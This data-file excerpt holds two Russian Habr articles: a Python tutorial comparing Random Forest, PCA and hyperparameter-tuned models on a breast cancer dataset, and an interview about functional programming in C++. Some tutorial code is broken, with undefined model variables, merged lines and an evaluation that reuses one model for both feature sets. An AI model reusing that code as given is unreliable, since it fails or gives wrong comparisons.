text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Random Forest, метод главных компонент и оптимизация гиперпараметров: пример решения задачи классификации на Python
У специалистов по обработке и анализу данных есть множество средств для создания классификационных моделей. Один из самых популярных и надёжных методов разработки таких моделей заключается в использовании алгоритма «случайный лес» (Random Forest, RF). Для того чтобы попытаться улучшить показатели модели, построенной с использованием алгоритма [RF](https://towardsdatascience.com/understanding-random-forest-58381e0602d2), можно воспользоваться оптимизацией гиперпараметров модели ([Hyperparameter Tuning](https://towardsdatascience.com/hyperparameter-tuning-the-random-forest-in-python-using-scikit-learn-28d2aa77dd74), HT).
[](https://habr.com/ru/company/ruvds/blog/488342/)
Кроме того, распространён подход, в соответствии с которым данные, перед их передачей в модель, обрабатывают с помощью метода главных компонент ([Principal Component Analysis](https://towardsdatascience.com/a-one-stop-shop-for-principal-component-analysis-5582fb7e0a9c), PCA). Но стоит ли вообще этим пользоваться? Разве основная цель алгоритма RF заключается не в том, чтобы помочь аналитику интерпретировать важность признаков?
Да, применение алгоритма PCA может привести к небольшому усложнению интерпретации каждого «признака» при анализе «важности признаков» RF-модели. Однако алгоритм PCA производит уменьшение размерности пространства признаков, что может привести к уменьшению количества признаков, которые нужно обработать RF-моделью. Обратите внимание на то, что объёмность вычислений — это один из основных минусов алгоритма «случайный лес» (то есть — выполнение модели может занять немало времени). Применение алгоритма PCA может стать весьма важной частью моделирования, особенно в тех случаях, когда работают с сотнями или даже с тысячами признаков. В результате, если самое важное — это просто создать наиболее эффективную модель, и при этом можно пожертвовать точностью определения важности признаков, тогда PCA, вполне возможно, стоит попробовать.
Теперь — к делу. Мы будем работать с набором данных по раку груди — [Scikit-learn «breast cancer»](https://scikit-learn.org/stable/modules/generated/sklearn.datasets.load_breast_cancer.html). Мы создадим три модели и сравним их эффективность. А именно, речь идёт о следующих моделях:
1. Базовая модель, основанная на алгоритме RF (будем сокращённо называть эту модель RF).
2. Та же модель, что и №1, но такая, в которой применяется уменьшение размерности пространства признаков с помощью метода главных компонент (RF + PCA).
3. Такая же модель, как и №2, но построенная с применением оптимизации гиперпараметров (RF + PCA + HT).
1. Импорт данных
----------------
Для начала загрузим данные и создадим датафрейм Pandas. Так как мы пользуемся предварительно очищенным «игрушечным» набором данных из Scikit-learn, то после этого мы уже сможем приступить к процессу моделирования. Но даже при использовании подобных данных рекомендуется всегда начинать работу, проведя предварительный анализ данных с использованием следующих команд, применяемых к датафрейму (`df`):
* `df.head()` — чтобы взглянуть на новый датафрейм и понять, выглядит ли он так, как ожидается.
* `df.info()` — чтобы выяснить особенности типов данных и содержимого столбцов. Возможно, перед продолжением работы понадобится произвести преобразование типов данных.
* `df.isna()` — чтобы убедиться в том, что в данных нет значений `NaN`. Соответствующие значения, если они есть, может понадобиться как-то обработать, или, если нужно, может понадобиться убрать целые строки из датафрейма.
* `df.describe()` — чтобы выяснить минимальные, максимальные, средние значения показателей в столбцах, чтобы узнать показатели среднеквадратического и вероятного отклонения по столбцам.
В нашем наборе данных столбец `cancer` (рак) — это целевая переменная, значение которой мы хотим предсказать, используя модель. `0` означает «отсутствие заболевания». `1` — «наличие заболевания».
```
import pandas as pd
from sklearn.datasets import load_breast_cancer
columns = ['mean radius', 'mean texture', 'mean perimeter', 'mean area', 'mean smoothness', 'mean compactness', 'mean concavity', 'mean concave points', 'mean symmetry', 'mean fractal dimension', 'radius error', 'texture error', 'perimeter error', 'area error', 'smoothness error', 'compactness error', 'concavity error', 'concave points error', 'symmetry error', 'fractal dimension error', 'worst radius', 'worst texture', 'worst perimeter', 'worst area', 'worst smoothness', 'worst compactness', 'worst concavity', 'worst concave points', 'worst symmetry', 'worst fractal dimension']
dataset = load_breast_cancer()
data = pd.DataFrame(dataset['data'], columns=columns)
data['cancer'] = dataset['target']
display(data.head())
display(data.info())
display(data.isna().sum())
display(data.describe())
```
*Фрагмент датафрейма с данными по раку груди. Каждая строка содержит результаты наблюдений за пациентом. Последний столбец, cancer, содержит целевую переменную, которую мы пытаемся предсказать. 0 означает «отсутствие заболевания». 1 — «наличие заболевания»*
2. Разделение набора данных на учебные и проверочные данные
-----------------------------------------------------------
Теперь разделим данные с использованием функции Scikit-learn `train_test_split`. Мы хотим дать модели как можно больше учебных данных. Однако нужно, чтобы в нашем распоряжении было бы достаточно данных для проверки модели. В целом можно сказать, что, по мере роста количества строк в наборе данных, растёт и объём данных, которые можно рассматривать в качестве учебных.
Например, если есть миллионы строк, можно разделить набор, выделив 90% строк на учебные данные и 10% — на проверочные. Но исследуемый набор данных содержит лишь 569 строк. А это — не так уж и много для тренировки и проверки модели. В результате для того, чтобы быть справедливыми по отношению к учебным и проверочным данным, мы разделим набор на две равные части — 50% — учебные данные и 50% — проверочные. Мы устанавливаем `stratify=y` для обеспечения того, чтобы и в учебном, и в проверочном наборах данных присутствовало бы то же соотношение 0 и 1, что и в исходном наборе данных.
```
from sklearn.model_selection import train_test_split
X = data.drop('cancer', axis=1)
y = data['cancer']
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.50, random_state = 2020, stratify=y)
```
3. Масштабирование данных
-------------------------
Прежде чем приступать к моделированию, нужно выполнить «центровку» и «стандартизацию» данных путём их [масштабирования](https://towardsdatascience.com/scale-standardize-or-normalize-with-scikit-learn-6ccc7d176a02). Масштабирование выполняется из-за того, что разные величины выражены в разных единицах измерения. Эта процедура позволяет организовать «честную схватку» между признаками при определении их важности. Кроме того, мы конвертируем `y_train` из типа данных Pandas `Series` в массив NumPy для того чтобы позже модель смогла бы работать с соответствующими целевыми показателями.
```
import numpy as np
from sklearn.preprocessing import StandardScaler
ss = StandardScaler()
X_train_scaled = ss.fit_transform(X_train)
X_test_scaled = ss.transform(X_test)
y_train = np.array(y_train)
```
4. Обучение базовой модели (модель №1, RF)
------------------------------------------
Сейчас создадим модель №1. В ней, напомним, применяется только алгоритм Random Forest. Она использует все признаки и настроена с использованием значений, задаваемых по умолчанию (подробности об этих настройках можно найти в документации к [sklearn.ensemble.RandomForestClassifier](https://scikit-learn.org/stable/modules/generated/sklearn.ensemble.RandomForestClassifier.html)). Сначала инициализируем модель. После этого обучим её на масштабированных данных. Точность модели можно измерить на учебных данных:
```
from sklearn.ensemble import RandomForestClassifier
from sklearn.metrics import recall_score
rfc = RandomForestClassifier()
rfc.fit(X_train_scaled, y_train)
display(rfc.score(X_train_scaled, y_train))
# 1.0
```
Если нам интересно узнать о том, какие признаки являются самыми важными для RF-модели в деле предсказания рака груди, мы можем визуализировать и квантифицировать показатели важности признаков, обратившись к атрибуту `feature_importances_`:
```
feats = {}
for feature, importance in zip(data.columns, rfc_1.feature_importances_):
feats[feature] = importance
importances = pd.DataFrame.from_dict(feats, orient='index').rename(columns={0: 'Gini-Importance'})
importances = importances.sort_values(by='Gini-Importance', ascending=False)
importances = importances.reset_index()
importances = importances.rename(columns={'index': 'Features'})
sns.set(font_scale = 5)
sns.set(style="whitegrid", color_codes=True, font_scale = 1.7)
fig, ax = plt.subplots()
fig.set_size_inches(30,15)
sns.barplot(x=importances['Gini-Importance'], y=importances['Features'], data=importances, color='skyblue')
plt.xlabel('Importance', fontsize=25, weight = 'bold')
plt.ylabel('Features', fontsize=25, weight = 'bold')
plt.title('Feature Importance', fontsize=25, weight = 'bold')
display(plt.show())
display(importances)
```
*Визуализация «важности» признаков*
*Показатели важности признаков*
5. Метод главных компонент
--------------------------
Теперь зададимся вопросом о том, как можно улучшить базовую RF-модель. С использованием методики снижения размерности пространства признаков можно представить исходный набор данных через меньшее количество переменных и при этом снизить объём вычислительных ресурсов, необходимых для обеспечения работы модели. Используя PCA, можно изучить кумулятивную выборочную дисперсию этих признаков для того чтобы понять то, какие признаки объясняют большую часть дисперсии в данных.
Инициализируем объект PCA (`pca_test`), указывая количество компонент (признаков), которые нужно рассмотреть. Мы устанавливаем этот показатель в 30 для того чтобы увидеть объяснённую дисперсию всех сгенерированных компонент до того, как примем решение о том, сколько компонент нам понадобится. Затем передаём в `pca_test` масштабированные данные `X_train`, пользуясь методом `pca_test.fit()`. После этого визуализируем данные.
```
import matplotlib.pyplot as plt
import seaborn as sns
from sklearn.decomposition import PCA
pca_test = PCA(n_components=30)
pca_test.fit(X_train_scaled)
sns.set(style='whitegrid')
plt.plot(np.cumsum(pca_test.explained_variance_ratio_))
plt.xlabel('number of components')
plt.ylabel('cumulative explained variance')
plt.axvline(linewidth=4, color='r', linestyle = '--', x=10, ymin=0, ymax=1)
display(plt.show())
evr = pca_test.explained_variance_ratio_
cvr = np.cumsum(pca_test.explained_variance_ratio_)
pca_df = pd.DataFrame()
pca_df['Cumulative Variance Ratio'] = cvr
pca_df['Explained Variance Ratio'] = evr
display(pca_df.head(10))
```
*После того, как число используемых компонент превышает 10, рост их количества не очень сильно повышает объяснённую дисперсию*
*Этот датафрейм содержит такие показатели, как Cumulative Variance Ratio (кумулятивный размер объяснённой дисперсии данных) и Explained Variance Ratio (вклад каждой компоненты в общий объём объяснённой дисперсии)*
Если взглянуть на вышеприведённый датафрейм, то окажется, что использование PCA для перехода от 30 переменных к 10 компонентам позволяет объяснить 95% дисперсии данных. Другие 20 компонент объясняют менее 5% дисперсии, а это значит, что от них мы можем отказаться. Следуя этой логике, воспользуемся PCA для уменьшения числа компонент с 30 до 10 для `X_train` и `X_test`. Запишем эти искусственно созданные наборы данных «пониженной размерности» в `X_train_scaled_pca` и в `X_test_scaled_pca`.
```
pca = PCA(n_components=10)
pca.fit(X_train_scaled)
X_train_scaled_pca = pca.transform(X_train_scaled)
X_test_scaled_pca = pca.transform(X_test_scaled)
```
Каждая компонента — это линейная комбинация исходных переменных с соответствующими «весами». Мы можем видеть эти «веса» для каждой компоненты, создав датафрейм.
```
pca_dims = []
for x in range(0, len(pca_df)):
pca_dims.append('PCA Component {}'.format(x))
pca_test_df = pd.DataFrame(pca_test.components_, columns=columns, index=pca_dims)
pca_test_df.head(10).T
```
*Датафрейм со сведениями по компонентам*
6. Обучение базовой RF-модели после применения к данным метода главных компонент (модель №2, RF + PCA)
------------------------------------------------------------------------------------------------------
Теперь мы можем передать в ещё одну базовую RF-модель данные `X_train_scaled_pca` и `y_train` и можем узнать о том, есть ли улучшения в точности предсказаний, выдаваемых моделью.
```
rfc = RandomForestClassifier()
rfc.fit(X_train_scaled_pca, y_train)
display(rfc.score(X_train_scaled_pca, y_train))
# 1.0
```
Модели сравним ниже.
7. Оптимизация гиперпараметров. Раунд 1: RandomizedSearchCV
-----------------------------------------------------------
После обработки данных с использованием метода главных компонент можно попытаться воспользоваться [оптимизацией гиперпараметров](https://towardsdatascience.com/hyperparameter-tuning-the-random-forest-in-python-using-scikit-learn-28d2aa77dd74) модели для того чтобы улучшить качество предсказаний, выдаваемых RF-моделью. Гиперпараметры можно рассматривать как что-то вроде «настроек» модели. Настройки, которые отлично подходят для одного набора данных, для другого не подойдут — поэтому и нужно заниматься их оптимизацией.
Начать можно с алгоритма RandomizedSearchCV, который позволяет довольно грубо исследовать широкие диапазоны значений. Описания всех гиперпараметров для RF-моделей можно найти [здесь](https://scikit-learn.org/stable/modules/generated/sklearn.ensemble.RandomForestClassifier.html).
В ходе работы мы генерируем сущность `param_dist`, содержащую, для каждого гиперпараметра, диапазон значений, которые нужно испытать. Далее, мы инициализируем объект `rs` с помощью функции `RandomizedSearchCV()`, передавая ей RF-модель, `param_dist`, число итераций и число [кросс-валидаций](https://towardsdatascience.com/cross-validation-a-beginners-guide-5b8ca04962cd), которые нужно выполнить.
Гиперпараметр `verbose` позволяет управлять объёмом информации, который выводится моделью в ходе её работы (наподобие вывода сведений в процессе обучения модели). Гиперпараметр `n_jobs` позволяет указывать то, сколько процессорных ядер нужно использовать для обеспечения работы модели. Установка `n_jobs` в значение `-1` приведёт к более быстрой работе модели, так как при этом будут использоваться все ядра процессора.
Мы будем заниматься подбором следующих гиперпараметров:
* `n_estimators` — число «деревьев» в «случайном лесу».
* `max_features` — число признаков для выбора расщепления.
* `max_depth` — максимальная глубина деревьев.
* `min_samples_split` — минимальное число объектов, необходимое для того, чтобы узел дерева мог бы расщепиться.
* `min_samples_leaf` — минимальное число объектов в листьях.
* `bootstrap` — использование для построения деревьев подвыборки с возвращением.
```
from sklearn.model_selection import RandomizedSearchCV
n_estimators = [int(x) for x in np.linspace(start = 100, stop = 1000, num = 10)]
max_features = ['log2', 'sqrt']
max_depth = [int(x) for x in np.linspace(start = 1, stop = 15, num = 15)]
min_samples_split = [int(x) for x in np.linspace(start = 2, stop = 50, num = 10)]
min_samples_leaf = [int(x) for x in np.linspace(start = 2, stop = 50, num = 10)]
bootstrap = [True, False]
param_dist = {'n_estimators': n_estimators,
'max_features': max_features,
'max_depth': max_depth,
'min_samples_split': min_samples_split,
'min_samples_leaf': min_samples_leaf,
'bootstrap': bootstrap}
rs = RandomizedSearchCV(rfc_2,
param_dist,
n_iter = 100,
cv = 3,
verbose = 1,
n_jobs=-1,
random_state=0)
rs.fit(X_train_scaled_pca, y_train)
rs.best_params_
# {'n_estimators': 700,
# 'min_samples_split': 2,
# 'min_samples_leaf': 2,
# 'max_features': 'log2',
# 'max_depth': 11,
# 'bootstrap': True}
```
При значениях параметров `n_iter = 100` и `cv = 3`, мы создали 300 RF-моделей, случайно выбирая комбинации представленных выше гиперпараметров. Мы можем обратиться к атрибуту `best_params_` для получения сведений о наборе параметров, позволяющем создать самую лучшую модель. Но на данной стадии это может не дать нам наиболее интересных данных о диапазонах параметров, которые стоит изучить на следующем раунде оптимизации. Для того чтобы выяснить то, в каком диапазоне значений стоит продолжать поиск, мы легко можем получить датафрейм, содержащий результаты работы алгоритма RandomizedSearchCV.
```
rs_df = pd.DataFrame(rs.cv_results_).sort_values('rank_test_score').reset_index(drop=True)
rs_df = rs_df.drop([
'mean_fit_time',
'std_fit_time',
'mean_score_time',
'std_score_time',
'params',
'split0_test_score',
'split1_test_score',
'split2_test_score',
'std_test_score'],
axis=1)
rs_df.head(10)
```
*Результаты работы алгоритма RandomizedSearchCV*
Теперь создадим столбчатые графики, на которых, по оси Х, расположены значения гиперпараметров, а по оси Y — средние значения, показываемые моделями. Это позволит понять то, какие значения гиперпараметров, в среднем, лучше всего себя показывают.
```
fig, axs = plt.subplots(ncols=3, nrows=2)
sns.set(style="whitegrid", color_codes=True, font_scale = 2)
fig.set_size_inches(30,25)
sns.barplot(x='param_n_estimators', y='mean_test_score', data=rs_df, ax=axs[0,0], color='lightgrey')
axs[0,0].set_ylim([.83,.93])axs[0,0].set_title(label = 'n_estimators', size=30, weight='bold')
sns.barplot(x='param_min_samples_split', y='mean_test_score', data=rs_df, ax=axs[0,1], color='coral')
axs[0,1].set_ylim([.85,.93])axs[0,1].set_title(label = 'min_samples_split', size=30, weight='bold')
sns.barplot(x='param_min_samples_leaf', y='mean_test_score', data=rs_df, ax=axs[0,2], color='lightgreen')
axs[0,2].set_ylim([.80,.93])axs[0,2].set_title(label = 'min_samples_leaf', size=30, weight='bold')
sns.barplot(x='param_max_features', y='mean_test_score', data=rs_df, ax=axs[1,0], color='wheat')
axs[1,0].set_ylim([.88,.92])axs[1,0].set_title(label = 'max_features', size=30, weight='bold')
sns.barplot(x='param_max_depth', y='mean_test_score', data=rs_df, ax=axs[1,1], color='lightpink')
axs[1,1].set_ylim([.80,.93])axs[1,1].set_title(label = 'max_depth', size=30, weight='bold')
sns.barplot(x='param_bootstrap',y='mean_test_score', data=rs_df, ax=axs[1,2], color='skyblue')
axs[1,2].set_ylim([.88,.92])
axs[1,2].set_title(label = 'bootstrap', size=30, weight='bold')
plt.show()
```
*Анализ значений гиперпараметров*
Если проанализировать вышеприведённые графики, то можно заметить некоторые интересные вещи, говорящие о том, как, в среднем, каждое значение гиперпараметра влияет на модель.
* `n_estimators`: значения 300, 500, 700, видимо, показывают наилучшие средние результаты.
* `min_samples_split`: маленькие значения, вроде 2 и 7, как кажется, показывают наилучшие результаты. Хорошо выглядит и значение 23. Можно исследовать несколько значений этого гиперпараметра, превышающих 2, а также — несколько значений около 23.
* `min_samples_leaf`: возникает такое ощущение, что маленькие значения этого гиперпараметра дают более высокие результаты. А это значит, что мы можем испытать значения между 2 и 7.
* `max_features`: вариант `sqrt` даёт самый высокий средний результат.
* `max_depth`: тут чёткой зависимости между значением гиперпараметра и результатом работы модели не видно, но есть ощущение, что значения 2, 3, 7, 11, 15 выглядят неплохо.
* `bootstrap`: значение `False` показывает наилучший средний результат.
Теперь мы, воспользовавшись этими находками, можем перейти ко второму раунду оптимизации гиперпараметров. Это позволит сузить спектр интересующих нас значений.
8. Оптимизация гиперпараметров. Раунд 2: GridSearchCV (окончательная подготовка параметров для модели №3, RF + PCA + HT)
------------------------------------------------------------------------------------------------------------------------
После применения алгоритма RandomizedSearchCV воспользуемся алгоритмом GridSearchCV для проведения более точного поиска наилучшей комбинации гиперпараметров. Здесь исследуются те же гиперпараметры, но теперь мы применяем более «обстоятельный» поиск их наилучшей комбинации. При использовании алгоритма GridSearchCV исследуется каждая комбинация гиперпараметров. Это требует гораздо больших вычислительных ресурсов, чем использование алгоритма RandomizedSearchCV, когда мы самостоятельно задаём число итераций поиска. Например, исследование 10 значений для каждого из 6 гиперпараметров с кросс-валидацией по 3 блокам потребует 10⁶ x 3, или 3000000 сеансов обучения модели. Именно поэтому мы и используем алгоритм GridSearchCV после того, как, применив RandomizedSearchCV, сузили диапазоны значений исследуемых параметров.
Итак, используя то, что мы выяснили с помощью RandomizedSearchCV, исследуем значения гиперпараметров, которые лучше всего себя показали:
```
from sklearn.model_selection import GridSearchCV
n_estimators = [300,500,700]
max_features = ['sqrt']
max_depth = [2,3,7,11,15]
min_samples_split = [2,3,4,22,23,24]
min_samples_leaf = [2,3,4,5,6,7]
bootstrap = [False]
param_grid = {'n_estimators': n_estimators,
'max_features': max_features,
'max_depth': max_depth,
'min_samples_split': min_samples_split,
'min_samples_leaf': min_samples_leaf,
'bootstrap': bootstrap}
gs = GridSearchCV(rfc_2, param_grid, cv = 3, verbose = 1, n_jobs=-1)
gs.fit(X_train_scaled_pca, y_train)
rfc_3 = gs.best_estimator_
gs.best_params_
# {'bootstrap': False,
# 'max_depth': 7,
# 'max_features': 'sqrt',
# 'min_samples_leaf': 3,
# 'min_samples_split': 2,
# 'n_estimators': 500}
```
Здесь мы применяем кросс-валидацию по 3 блокам для 540 (3 x 1 x 5 x 6 x 6 x 1) сеансов обучения модели, что даёт 1620 сеансов обучения модели. И уже теперь, после того, как мы воспользовались RandomizedSearchCV и GridSearchCV, мы можем обратиться к атрибуту `best_params_` для того чтобы узнать о том, какие значения гиперпараметров позволяют модели наилучшим образом работать с исследуемым набором данных (эти значения можно видеть в нижней части предыдущего блока кода). Эти параметры используются при создании модели №3.
9. Оценка качества работы моделей на проверочных данных
-------------------------------------------------------
Теперь можно оценить созданные модели на проверочных данных. А именно, речь идёт о тех трёх моделях, описанных в самом начале материала.
Проверим эти модели:
```
y_pred = rfc.predict(X_test_scaled)
y_pred_pca = rfc.predict(X_test_scaled_pca)
y_pred_gs = gs.best_estimator_.predict(X_test_scaled_pca)
```
Создадим матрицы ошибок для моделей и узнаем о том, как хорошо каждая из них способна предсказывать рак груди:
```
from sklearn.metrics import confusion_matrix
conf_matrix_baseline = pd.DataFrame(confusion_matrix(y_test, y_pred), index = ['actual 0', 'actual 1'], columns = ['predicted 0', 'predicted 1'])
conf_matrix_baseline_pca = pd.DataFrame(confusion_matrix(y_test, y_pred_pca), index = ['actual 0', 'actual 1'], columns = ['predicted 0', 'predicted 1'])
conf_matrix_tuned_pca = pd.DataFrame(confusion_matrix(y_test, y_pred_gs), index = ['actual 0', 'actual 1'], columns = ['predicted 0', 'predicted 1'])
display(conf_matrix_baseline)
display('Baseline Random Forest recall score', recall_score(y_test, y_pred))
display(conf_matrix_baseline_pca)
display('Baseline Random Forest With PCA recall score', recall_score(y_test, y_pred_pca))
display(conf_matrix_tuned_pca)
display('Hyperparameter Tuned Random Forest With PCA Reduced Dimensionality recall score', recall_score(y_test, y_pred_gs))
```
*Результаты работы трёх моделей*
Здесь оценивается метрика «полнота» (recall). Дело в том, что мы имеем дело с диагнозом рака. Поэтому нас чрезвычайно интересует минимизация ложноотрицательных прогнозов, выдаваемых моделями.
Учитывая это, можно сделать вывод о том, что базовая RF-модель дала наилучшие результаты. Её показатель полноты составил 94.97%. В проверочном наборе данных была запись о 179 пациентах, у которых есть рак. Модель нашла 170 из них.
Итоги
-----
Это исследование позволяет сделать важное наблюдение. Иногда RF-модель, в которой используется метод главных компонент и широкомасштабная оптимизация гиперпараметров, может работать не так хорошо, как самая обыкновенная модель со стандартными настройками. Но это — не повод для того, чтобы ограничивать себя лишь простейшими моделями. Не попробовав разные модели, нельзя сказать о том, какая из них покажет наилучший результат. А в случае с моделями, которые используются для предсказания наличия у пациентов рака, можно сказать, что чем лучше модель — тем больше жизней может быть спасено.
**Уважаемые читатели!** Какие задачи вы решаете, привлекая методы машинного обучения?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/488342/ | null | ru | null |
# Беседы о функциональном программировании на C++ Siberia 2019
Всем привет!
Недавно в Новосибирске прошла очередная C++ Siberia 2019. На конференции была уютная атмосфера и много хороших докладов. Пользуясь случаем, я побеседовал с двумя нашими докладчиками, которых совсем скоро вы сможете увидеть и в Москве.
 **Иван Чукич** — один из разработчиков KDE, преподаватель и исследователь дизайна языков программирования в Белградском университете.
 **Александр Гранин** ([graninas](https://habr.com/en/users/graninas/)) — известный спикер и разработчик, специализирующийся на ФП, организатор новосибирского ФП-сообщества LambdaNsk.
**Сергей:** Всем привет, давайте знакомиться. Александр — кейноут-спикер на этой C++ Siberia, а Иван был кейноут-спикером в прошлом году. Давайте поговорим о функциональном программировании. Насколько помню, ФП в C++ было темой твоего предыдущего кейноута, Иван…
**Иван:** Не целиком, но частично — да.
**Сергей:** А у Александра тема доклада именно о функциональном программировании. Поэтому я подготовил парочку вопросов, и первый — как вы определяете ФП?
**Александр:** Я не думаю, что существует какое-то одно «правильное» определение ФП, но если говорить лично обо мне, то ФП — это нечто с функциональной композицией и функциями первого класса.
**Иван:** Я согласен, но добавил бы ещё функции высшего порядка — те, которые могут принимать другие функции в качестве аргументов и возвращать как результат.
**Cергей**: Ссылка на функцию в Си — считается?
**Иван:** Нет, Си не является функциональным языком программирования :-)
**Сергей:** Расскажи, почему?
**Иван:** Потому что нельзя из комбинации указателей на функции создать новую функцию, можно только указывать на уже существующие. Конечно, если в ход не пошли какие-то ассемблерные хаки.
**Сергей:** Отлично, теперь у меня есть официальный ответ! Люди постоянно задают этот вопрос, почему Си — не язык функционального программирования, ведь там есть полноценные функции. А вот почему C++ является функциональным языком, уже понятней…
**Александр:** Я бы не сказал, что C++ — это прямо-таки функциональный язык программирования, он поддерживает кучу парадигм, влитых в один язык.
**Сергей:** Имелось в виду — C++ поддерживает функциональную парадигму, конечно. Кстати, почему? Он поддерживает потому, что можно манипулировать функциями высшего порядка?
**Иван:** Ну, мне кажется, он всегда таким был, ведь даже в C++98 у функции высшего порядка уже имеются, даже в STL. Это не самый удобный функциональный язык — есть языки, которые реализуют ФП и получше. Но для моих нужд он всегда был достаточно функциональным.
**Сергей:** А вот с этого места поподробней. Что у тебя за нужды такие?
**Иван:** Это сложно. Давай, расскажу историю. Когда я учился в университете, мы проходили LISP, и все ненавидели этот LISP, потому что он уродливый. Но что я из него понял, это как симулировать конструкции Си прямо в коде на LISP. А потом однажды вышла новая версия Java, которую выпустили ради вещей вроде встроенного цикла `foreach`, и я подумал: ого, вам нужен новый компилятор, новая версия языка и всё такое новое только для того, чтобы реализовать нечто, что я делал в университете на LISP, который вообще-то даже не поддерживает циклы. В тот момент я осознал, что ФП — довольно приятная штука для построения высокоуровневых абстракций, и вот поэтому я использую функциональный C++ в 2019 году.
**Cергей:** По сути, ты используешь ФП для высокоуровневого дизайна.
**Иван:** Точно.
**Александр:** Прямо сейчас я не работаю на C++, но не отказался бы использовать его для манипуляций над данными, это куда приятней, чем в императивном подходе. Даже если сравнивать с ООП — в отличие от него тут приемлемы только трансформации, и это удобно.
**Сергей:** Ну, ты можешь использовать ФП не только с C++, правда? Хорошо, тогда следующий вопрос: какую часть C++ вы используете? Если важны только вопросы дизайна, можно выбрать только ту часть, которая хорошо сочетается с ФП, ту, что вы реально используете.
**Иван:** Это точно будут лямбда-функции. И даже важней — шаблоны, ведь они позволяют передавать другие функции как аргументы и всё остальное, а лямбды — это только приятный синтаксис для записи функциональных объектов.
**Сергей:** Да, мы уже поняли, что лямбды тебе очень нравятся :-)
**Иван:** Не то чтобы они нравились *очень*, но это явно лучше всего, что у нас было в C++98, с ними удобней работать.
**Александр:** Да, мне тоже нравятся лямбды — это фича настолько универсальная, что можно было бы писать только на них одних. Это что-то вроде универсального комбинатора, позволяющего конструировать любую логику — может, не так красиво, как в других языках, но не менее полезно.
**Сергей:** Иван, ты тут отметил, что есть стандарты до C++11, например — C++03, весьма распространённый, и там уже есть функциональные фичи. И функциональных фич стало больше в новых стандартах… Можно ли утверждать, что C++ движется в сторону ФП? Продолжится ли это движение, или прекратится? И к чему тогда приведет?
**Иван:** Есть хороший доклад [Simon Peython Jones](https://en.wikipedia.org/wiki/Simon_Peyton_Jones) о языках программирования в целом, и он там рисовал граф, показывающий множества безопасных языков и используемых языков. Haskell начал свою историю как совершенно безопасный язык, с которым нельзя ничего сделать, — потому что там нет I/O, и вообще ничего такого. SPJ отнес язык Си и языки ассемблера к тем, которые очень полезны, но вместе с тем и чрезвычайно небезопасны. С тех пор Haskell начал двигаться в сторону большей безопасности. С другой стороны, те фичи, которые появляются в C++ — они появляются, в основном, для увеличения безопасности, чтобы можно было писать корректные программы более просто. Так случилось, что большинство этих вещей приходят из языков функционального программирования.
**Сергей:** Как думаешь, почему так? Из-за самой природы ФП?
**Иван:** Да, может быть, по самой природе… но я не знаю точно.
**Александр:** Думаю, что ФП так захватывает всех просто потому, что мы устали от борьбы с шаблонами, с переставлением байтиков, с какой-то низкоуровневой мутью — нам хочется что-то достойное, чтобы приложить собственный интеллект.
**Сергей:** То есть, для тебя это что-то вроде интеллектуального упражнения?
**Александр:** Да, типа того.
**Сергей:** Понимаю. Куда как интересней разработчику думать о высокоуровневых абстракциях, чем реализовывать тупые стандартные фичи — это неприятно. Тогда такой вопро**С:** есть ли у вас опыт практического применения ФП в C++? Какие-то проекты продакшене?
**Иван:** Конечно. Один из самых больших в мире проектов, KDE, имеет внутри себя несколько частей, интенсивно использующих функциональный стиль. Конечно, это смесь, как бы так сказать, более традиционного объектно-ориентированного C++ с набором концепций из функциональщины. Я никогда не собирался быть пуристом или чем-то таким. Я всегда стараюсь объединять лучшее из разных миров.
**Сергей:** А что насчет Haskell или Scala? Они ведь широко используются в продакшене. Как вам такая идея, что Haskell сейчас считается эталоном функционального языка? Это особенно отмечают пуристы.
**Иван:** Да, я согласен, что Haskell на сегодняшний день — это синоним ФП. По сути, любая фича из Haskell воспринимается людьми как нечто, относящееся к ФП. Это не обязательно правда, но думаю, что Haskell действительно стал самым популярным академическим языком функционального программирования. Знаю, что несколько банков в Лондоне и Северной Европе широко используют Haskell, но всё же Scala в данный момент куда более популярна.
**Александр:** Согласен, что Scala более популярна, но Haskell выглядит более функциональным языком, большинство его фич реализовано более корректно. То есть, когда у тебя есть каррирование, которое просто делать, когда есть простой способ сделать композицию, программировать становится легко и просто, это как гулять по лесу и наслаждаться видами.
**Иван:** Но иногда в лесу есть медведи. Если вы в России.
**Сергей:** Как думаете, C++ в основном черпает вдохновение тоже в Haskell? Стоит это делать?
**Иван:** Ты намекаешь на каких-то конкретных участников комитета? :-) Кто-то намекал, что концепты появились как результат осмысления тайпклассов, но Бьёрн прекратил эти слухи и даже написал какой-то документ о том, в чём концепты отличаются от тайпклассов. С моей точки зрения, они отличаются всем, но служат одной цели. Просто разные подходы.
**Сергей:** А future/promise как-нибудь связаны с ФП? Кажется, Бартош утверждал, что это плохо реализованые монады.
**Иван:** Ну да, они реализованы как монады, передающие продолжения, но я не уверен, что самое важное в данном вопросе.
**Сергей:** А нужна ли нам улучшенная поддержка монад в C++?
**Александр:** Безусловно, это наиболее важная фича, которая может превратить C++ в действительно хороший язык.
**Иван:** Кстати, раз уж мы на конференции, давай я тебе тоже задам вопрос, Сергей. Ты сказал, что конференции — это увлекательная работа. Поделись, чего в ней такого интересного, и посоветовал бы ты мне или товарищу Гранину самостоятельно организовать конференции в других частях мира?
**Сергей:** Организация конференций — это действительно круто, ты встречаешься с множеством интересных людей, но это только вершина айсберга. А там внизу — куча работы, вся эта подготовка зала, еда для участников, не говоря уж о поиске спикеров. C++ Russia — всё ещё не самая известная в мире конференция, и докладчикам приходится объяснять, что мы — новая конференция, что здесь происходят интересные вещи. Нужно убедить докладчика, особенно известных звездных докладчиков, которым не особо интересно лететь в Россию только чтобы посмотреть новую страну. Организаторская работа — тяжелая, в особенности если ты работаешь еще и на основной работе. Но всё окупается общением с этими замечательными людьми. Тем не мене, я сейчас дошёл до того, что скорее я побываю на чьей-то чужой конференции, чем буду делать свою.
**Иван:** То есть, ты предлагаешь посещать конференции, а не делать их.
**Сергей:** Да, если можно избежать организации конференции — стоит воспользоваться шансом. При организации на тебя свалится огромный груз, это как ещё одна 8-часовая работа. Лично я примерно за 3 месяца до конференции начинаю работать дополнительные 8 часов в день. Делать это весело… но надеюсь, моей семье так же весело. Спасибо что спросил!
А теперь, назад к теме. Мы говорили о функциональном программировании, и вы почти убедили меня, в смысле — ваши доклады убедили. Есть подозрение, что функциональных подход в C++ поможет мне с многопоточностью, когда нужно синхронизировать разные вещи. Правда ведь поможет?
**Иван:** Конечно.
